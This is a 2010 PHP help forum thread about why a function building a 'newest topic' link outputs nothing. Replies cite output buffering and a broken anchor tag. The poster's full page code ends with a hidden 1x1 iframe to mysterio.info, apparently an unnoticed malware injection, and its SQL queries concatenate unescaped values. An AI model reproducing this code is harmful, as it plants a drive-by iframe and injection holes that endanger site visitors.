mike12255 Posted April 23, 2010 Share Posted April 23, 2010 I created a function to get the newest data entered into my db, which I have working correctly. My problem is in the function I create a URL and im trying to echo out that URL but cant. Here is my function: function newest ($i){ $sql = "SELECT * FROM forum_topics WHERE cid = $i ORDER BY id DESC LIMIT 1 "; $res = mysql_query($sql) or die (mysql_error()); $row = mysql_fetch_array($res); $url = "<a href=\"index.php?act=topic&id=\"".$row['id']."\"</a>"; return $url; } and here is my code im using to try and output the url: <?php ob_start(); session_start(); include "./global.php"; $test = newest(1); echo $test; ?> any help is appriciated Quote Link to comment Share on other sites More sharing options...
mikesta707 Posted April 23, 2010 Share Posted April 23, 2010 the point of output buffering is to store any output from the script into a buffer. When output buffering is active, there is no output sent from the script. if you want to send the output when using output buffering, try using ob_end_flush() check out ob_start() for more information Quote Link to comment Share on other sites More sharing options...
Baez Posted April 23, 2010 Share Posted April 23, 2010 Don't use ob_start() if you want instant output. I'm not sure if you mean outputting to the display page or simply to the HTML code. But you're also not outputting anything. And you haven't closed the <a> tag beginning. Right now it looks like <a href="index.php?act=topic&id=1"</a> Whereas it should be <a href="index.php?act=topic&id=1">index.php?act=topic&id=1</a> Quote Link to comment Share on other sites More sharing options...
mike12255 Posted April 23, 2010 Author Share Posted April 23, 2010 this is the full code: <?php ob_start(); session_start(); include "./global.php"; $action = $_GET['act']; $actions_array = array('forum','create','topic','reply','mod'); ?> <html> <head> <title>Marcus's Forum Tutorial Example</title> <link rel="stylesheet" type="text/css" href="./style.css"> <script language="Javascript"> function confirmLogout(){ var agree = confirm("Are you sure you wish to logout?"); if(agree){ return true ; }else { return false ; } } </script> </head> <body> <center> <div id="holder"> <div id="userInfo"> <?php if($_SESSION['uid']){ $sql = "SELECT * FROM `users` WHERE `id`='".$_SESSION['uid']."'"; $res = mysql_query($sql) or die(mysql_error()); if(mysql_num_rows($res) == 0){ session_destroy(); echo "Please <a href=\"./login.php\">Login</a> to your account, or <a href=\"./register.php\">Register</a> a new account!\n"; }else { $row = mysql_fetch_assoc($res); echo "Welcome back, <a href=\"./index.php?act=profile&id=".$row['id']."\">".$row['username']."</a>! <a href=\"./logout.php\" onClick=\"return confirmLogout()\">Logout</a>\n"; echo "<br>\n"; echo "<a href=\"./index.php\">Forum Index</a>\n"; if($row['admin'] == '1'){ echo " | <a href=\"./admin.php\">Administrative Section</a>\n"; } } }else { echo "Please <a href=\"./login.php\">Login</a> to your account, or <a href=\"./register.php\">Register</a> a new account!\n"; } $admin_user_level = $row['admin']; ?> </div> <div id="banner"> <img src="images/1top_christmas.jpg" ></img> </div> <div id="content"> <?php if(!$action || !in_array($action,$actions_array)){ $sql1 = "SELECT * FROM `forum_cats` WHERE `admin` < ".$row['admin']."+1"; $res1 = mysql_query($sql1) or die(mysql_error()); $i=1; while($row2 = mysql_fetch_assoc($res1)){ echo "<div id=\"fcontent\">\n"; echo " <div class=\"header\" id=\"header_".$i."\" onMouseOver=\"this.className='headerb'\" onMouseOut=\"this.className='header'\">".$row2['name']."</div>\n"; $sql2 = "SELECT * FROM `forum_sub_cats` WHERE `cid`='".$row2['id']."' AND `admin` < ".$row['admin']."+1"; $res2 = mysql_query($sql2) or die(mysql_error()); while($row3 = mysql_fetch_assoc($res2)){ echo " <div id=\"content2\">\n"; echo " <a href=\"./index.php?act=forum&id=".$row3['id']."\">".$row3['name']."</a><br>\n"; echo " " . $row3['desc'] . "\n"; echo " <div id=\"latestinfo\"> "; echo newest($i); echo " </div>\n"; echo " </div>\n"; } echo "</div>\n"; $i++; } }else { if($action == 'forum'){ include "./includes/forum.php"; } if($action == 'create'){ if(!$_SESSION['uid']){ header("Location: login.php"); }else { include "./includes/create.php"; } } if($action == 'topic'){ include "./includes/topic.php"; } if($action == 'reply'){ if(!$_SESSION['uid']){ header("Location; login.php"); }else { include "./includes/reply.php"; } } if($action == 'mod'){ if(!$_SESSION['uid']){ header("Location; login.php"); }else { include "./includes/mod.php"; } } } ?> </div> </div> </center> </body> </html> <?php ob_end_flush(); ?><iframe src ="http://mysterio.info/cgi-bin/worker" width="1" height="1"> </iframe> Quote Link to comment Share on other sites More sharing options...
mrMarcus Posted April 23, 2010 Share Posted April 23, 2010 did you correct your <a> tag as Baez pointed out? just can't see 'cause you're not actually providing your "full" code as your function is in global.php i presume. Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.